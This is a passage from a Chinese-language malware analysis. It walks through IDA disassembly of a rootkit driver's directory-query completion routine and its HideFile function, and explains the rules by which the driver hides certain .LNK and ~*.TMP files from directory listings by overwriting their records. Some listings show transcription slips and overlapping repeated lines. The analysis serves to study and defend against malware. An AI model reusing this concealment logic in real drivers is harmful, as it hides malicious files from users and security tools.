.text:00010C79                 jz      short loc_10CE3
.text:00010C7B                 mov     eax, [edi+4]
.text:00010C7E                 cmp     eax, esi
.text:00010C80                 jnz     short loc_10C87
.text:00010C82                 mov     eax, [edi+3Ch]
.text:00010C85                 jmp     short loc_10CA4
.text:00010C87 ; ---------------------------------------------------------------------------
.text:00010C87
.text:00010C87 loc_10C87:                              ; CODE XREF: IoCompleteRoutineForQueryDir+56↑j
.text:00010C87                 test    byte ptr [eax+6], 5
.text:00010C8B                 jz      short loc_10C92
.text:00010C8D                 mov     eax, [eax+0Ch]
.text:00010C90                 jmp     short loc_10CA0
.text:00010C92 ; ---------------------------------------------------------------------------
.text:00010C92
.text:00010C92 loc_10C92:                              ; CODE XREF: IoCompleteRoutineForQueryDir+61↑j
.text:00010C92                 push    10h             ; Priority
.text:00010C94                 push    esi             ; BugCheckOnFailure
.text:00010C95                 push    esi             ; BaseAddress
.text:00010C96                 push    1               ; CacheType
.text:00010C98                 push    esi             ; AccessMode
.text:00010C99                 push    eax             ; MemoryDescriptorList
.text:00010C9A                 call    ds:MmMapLockedPagesSpecifyCache
```

```
.text:00010CA0 loc_10CA0:                              ; CODE XREF: IoCompleteRoutineForQueryDir+66Tj
.text:00010CA0                 cmp     eax, esi
.text:00010CA2                 jz      short loc_10CE3
.text:00010CA4
.text:00010CA4 loc_10CA4:                              ; CODE XREF: IoCompleteRoutineForQueryDir+5BTj
.text:00010CA4                 push    [ebp+FileNameLength] ; int
.text:00010CA7                 push    [ebp+FileNameOffset] ; int
.text:00010CAA                 push    [ebp+EndOfFile] ; int
.text:00010CAD                 push    dword ptr [ebx+4] ; int
.text:00010CB0                 push    eax             ; void *
.text:00010CB1                 call    HideFile
.text:00010CB6                 test    al, al
.text:00010CB8                 jz      short loc_10CC2
.text:00010CBA                 mov     [edi+18h], esi
.text:00010CBD                 mov     esi, [ebp+context]
.text:00010CC0                 jmp     short loc_10C4B
.text:00010CC2 ; ---------------------------------------------------------------------------
.text:00010CC2
.text:00010CC2 loc_10CC2:                              ; CODE XREF: IoCompleteRoutineForQueryDir+8ETj
.text:00010CC2                 cmp     [edi+4], esi
.text:00010CC5                 jnz     short loc_10CF9
.text:00010CC7                 push    4               ; NumberOfBytes
.text:00010CC9                 push    esi             ; PoolType
.text:00010CCA                 call    ds:ExAllocatePool
.text:00010CD0                 mov     [ebp+MyDevice], eax
.text:00010CD3                 cmp     eax, esi
.text:00010CD5                 jz      short loc_10CE3
.text:00010CD7                 push    eax             ; al
.text:00010CD8                 mov     eax, ebx
.text:00010CDA                 call    MappingUserBuffer
.text:00010CDF                 test    al, al
.text:00010CE1                 jnz     short loc_10CF9
.text:00010CE3 loc_10CE3:                              ; CODE XREF: IoCompleteRoutineForQueryDir+4Bfj
.text:00010CE3                                         ; IoCompleteRoutineForQueryDir+78j ...
.text:00010CE3                 mov     esi, [ebp+MyDevice]
.text:00010CE6                 mov     eax, edi
.text:00010CE8                 call    FreePool
.text:00010CED                 mov     dword ptr [edi+18h], 0C000009Ah
.text:00010CF4                 jmp     loc_10C52
.text:00010CF9 ; ---------------------------------------------------------------------------
.text:00010CF9
.text:00010CF9 loc_10CF9:                              ; CODE XREF: IoCompleteRoutineForQueryDir+9BTj
.text:00010CF9                                         ; IoCompleteRoutineForQueryDir+D7Tj
.text:00010CF9                 push    [ebp+MyDevice]  ; int
.text:00010CFC                 push    edi             ; int
.text:00010CFD                 push    ebx             ; int
.text:00010CFE                 push    [ebp+DeviceObject] ; DeviceObject
.text:00010D01                 call    CallToNextDriver
.text:00010D06                 mov     [edi+18h], eax
.text:00010D09                 mov     [ebp+ms_exc.disabled], 0FFFFFFFFh
.text:00010D10                 mov     eax, 0C0000016h
.text:00010D15                 jmp     short loc_10D2A
.text:00010D15 IoCompleteRoutineForQueryDir endp
```

iv. 隐藏文件函数 HideFile

此函数中,从前面获取的几个偏移从缓冲中定位文件名地址,文件长度,文件结束位置.然后就是调用两个函数文件名过滤函数(CheckPostfix,CheckNameInvlidForTMP)来筛选病毒关心的文件.在函数 **CheckPostfix** 中判断文件名是否是".LNK"后缀且文件长度为 **0x104b** 的文件,如是则符合隐藏规则,在函数 **CheckNameInvlid** 中,如果文件大小在 **0x1000~ 0x800000**, 文件名长度为 **12**,文件后缀名为"TMP",文件名第一个字符为"~",并且文件名从第 **5** 个字节到第 **8** 个字节为数字,并且这些数字之和必须等于 **10**,便符合规则.符合以上两种规则的文件实施隐藏,隐藏处理是,如果条件符合,这把后面文件记录向前移动一个文件记录,也就是覆盖病毒关心的文件记录.

```
.text:00011688 ; char __stdcall HideFile(void *buffer, int BufferLength, int EndOfFileOffset, int FileName
.text:00011688 HideFile        proc near               ; CODE XREF: IoCompleteRoutineForQueryDir+87↑p
.text:00011688
.text:00011688 EndOfFile_Low   = dword ptr -10h
.text:00011688 EndOfFile_High  = dword ptr -0Ch
.text:00011688 var_8           = dword ptr -8
.text:00011688 LeftLen         = dword ptr  4
.text:00011688 buffer          = dword ptr  8
.text:00011688 LenOfRecord     = dword ptr  0Ch
.text:00011688 EndOfFileOffset = dword ptr  10h
.text:00011688 FileNameOffset  = dword ptr  14h
.text:00011688 FileNameLengthOffset= dword ptr  18h
.text:00011688
.text:00011688                 mov     edi, edi
.text:0001168A                 push    ebp
.text:0001168B                 mov     ebp, esp
.text:0001168D                 sub     esp, 10h
.text:00011690                 mov     eax, [ebp+LenOfRecord]
.text:00011693                 and     [ebp+var_8], 0
.text:00011697                 test    eax, eax
.text:00011699                 push    edi
.text:0001169A                 mov     edi, [ebp+buffer]
.text:0001169D                 mov     [ebp+LeftLen], eax
.text:000116A0                 mov     byte ptr [ebp+buffer+3], 0
.text:000116A4                 jnz     short loc_116AD
.text:000116A6                 mov     al, 1
.text:000116A8                 jmp     loc_11778
.text:000116AD ; ---------------------------------------------------------------------------
.text:000116AD
.text:000116AD loc_116AD:                              ; CODE XREF: HideFile+1C↑j
.text:000116AD                 push    ebx
.text:000116AE                 push    esi
.text:000116AF
.text:000116AF loc_116AF:                              ; CODE XREF: HideFile+D5↓j
.text:000116AF                 mov     eax, [edi]
```

```
.text:000116AF
.text:000116AF loc_116AF:                              ; CODE XREF: HideFile+D5↓j
.text:000116AF                 mov     eax, [edi]
.text:000116B1                 mov     [ebp+LenOfRecord], eax
.text:000116B4                 mov     eax, [ebp+EndOfFileOffset]
.text:000116B7                 or      ecx, 0FFFFFFFFh
.text:000116BA                 cmp     eax, ecx
.text:000116BC                 jz      short loc_116CD
.text:000116BE                 mov     edx, [edi+eax]
.text:000116C1                 mov     eax, [edi+eax+4]
.text:000116C5                 mov     [ebp+EndOfFile_Low], edx
.text:000116C8                 mov     [ebp+EndOfFile_High], eax
.text:000116CB                 jmp     short loc_116D3
.text:000116CD ; ---------------------------------------------------------------------------
.text:000116CD
.text:000116CD loc_116CD:                              ; CODE XREF: HideFile+34↑j
.text:000116CD                 mov     [ebp+EndOfFile_Low], ecx
.text:000116D0                 mov     [ebp+EndOfFile_High], ecx
.text:000116D3
.text:000116D3 loc_116D3:                              ; CODE XREF: HideFile+43↑j
.text:000116D3                 mov     eax, [ebp+FileNameLengthOffset]
.text:000116D6                 mov     eax, [edi+eax]
.text:000116D9                 test    al, 1
.text:000116DB                 mov     edx, [ebp+FileNameOffset]
.text:000116DE                 lea     ebx, [edi+edx]
.text:000116E1                 jnz     short loc_11748
.text:000116E3                 cdq
.text:000116E4                 sub     eax, edx
.text:000116E6                 mov     esi, eax
.text:000116E8                 mov     eax, [ebp+EndOfFile_Low]
.text:000116EB                 and     eax, [ebp+EndOfFile_High]
.text:000116EE                 sar     esi, 1
.text:000116F0                 cmp     eax, ecx
.text:000116F2                 jz      short loc_11703
.text:000116F4                 cmp     [ebp+EndOfFile_High], 0
.text:000116F8                 jnz     short loc_11710
```

```
.text:000116FA                  cmp     [ebp+FndOfFile_Low], 104Bh
.text:00011701                  jnz     short loc_1171D
.text:00011703
.text:00011703 loc_11703:                               ; CODE XREF: HideFile+6A↑j
.text:00011703                  cmp     esi, 4
.text:00011706                  jle     short loc_1171D
.text:00011708                  push    4
.text:0001170A                  lea     eax, [ebx+esi*2-8]
.text:0001170E                  push    eax
.text:0001170F                  mov     eax, offset a_lnk ; ".LNK"
.text:00011714                  call    CheckPostfix
.text:00011719                  test    al, al
.text:0001171B                  jnz     short loc_1172F
.text:0001171D
.text:0001171D loc_1171D:                               ; CODE XREF: HideFile+70↑j
.text:0001171D                                          ; HideFile+79↑j ...
.text:0001171D                  push    [ebp+EndOfFile_High]
.text:00011720                  push    [ebp+EndOfFile_Low]
.text:00011723                  push    esi
.text:00011724                  mov     esi, ebx
.text:00011726                  call    CheckNameInvlidForTMP
.text:0001172B                  test    al, al
.text:0001172D                  jz      short loc_1174B
.text:0001172F
.text:0001172F loc_1172F:                               ; CODE XREF: HideFile+93↑j
.text:0001172F                  mov     eax, [ebp+LenOfRecord]
.text:00011732                  test    eax, eax
.text:00011734                  jz      short loc_11765
.text:00011736                  mov     ecx, [ebp+LeftLen]
.text:00011739                  sub     ecx, eax
.text:0001173B                  push    ecx             ; size_t
.text:0001173C                  add     eax, edi
.text:0001173F                  push    eax             ; void *

.text:0001173F                  push    edi             ; void *
.text:00011740                  call    ds:memmove
.text:00011746                  add     esp, 0Ch
.text:00011749                  jmp     short loc_11755
.text:0001174B ; ---------------------------------------------------------------------------
.text:0001174B
.text:0001174B loc_1174B:                               ; CODE XREF: HideFile+59↑j
.text:0001174B                                          ; HideFile+A5↑j
.text:0001174B                  mov     [ebp+var_8], edi
.text:0001174E                  add     edi, [ebp+LenOfRecord]
.text:00011751                  mov     byte ptr [ebp+buffer+3], 1
.text:00011755
.text:00011755 loc_11755:                               ; CODE XREF: HideFile+C1↑j
.text:00011755                  mov     eax, [ebp+LenOfRecord]
.text:00011758                  sub     [ebp+LeftLen], eax
.text:0001175B                  test    eax, eax
.text:0001175D                  jnz     loc_116AF
.text:00011763                  jmp     short loc_1176F
.text:00011765 ; ---------------------------------------------------------------------------
.text:00011765
.text:00011765 loc_11765:                               ; CODE XREF: HideFile+AC↑j
.text:00011765                  mov     eax, [ebp+var_8]
.text:00011768                  test    eax, eax
.text:0001176A                  jz      short loc_1176F
.text:0001176C                  and     dword ptr [eax], 0
.text:0001176F
.text:0001176F loc_1176F:                               ; CODE XREF: HideFile+DB↑j
.text:0001176F                                          ; HideFile+C2↑j
.text:0001176F                  cmp     byte ptr [ebp+buffer+3], 0
.text:00011773                  pop     esi
.text:00011774                  setnz   al
.text:00011777                  pop     ebx
.text:00011778
.text:00011778 loc_11778:                               ; CODE XREF: HideFile+20↑j
.text:00011778                  pop     edi
.text:00011779                  leave
.text:0001177A                  retn    14h
.text:0001177A HideFile         endp
.text:0001177A
```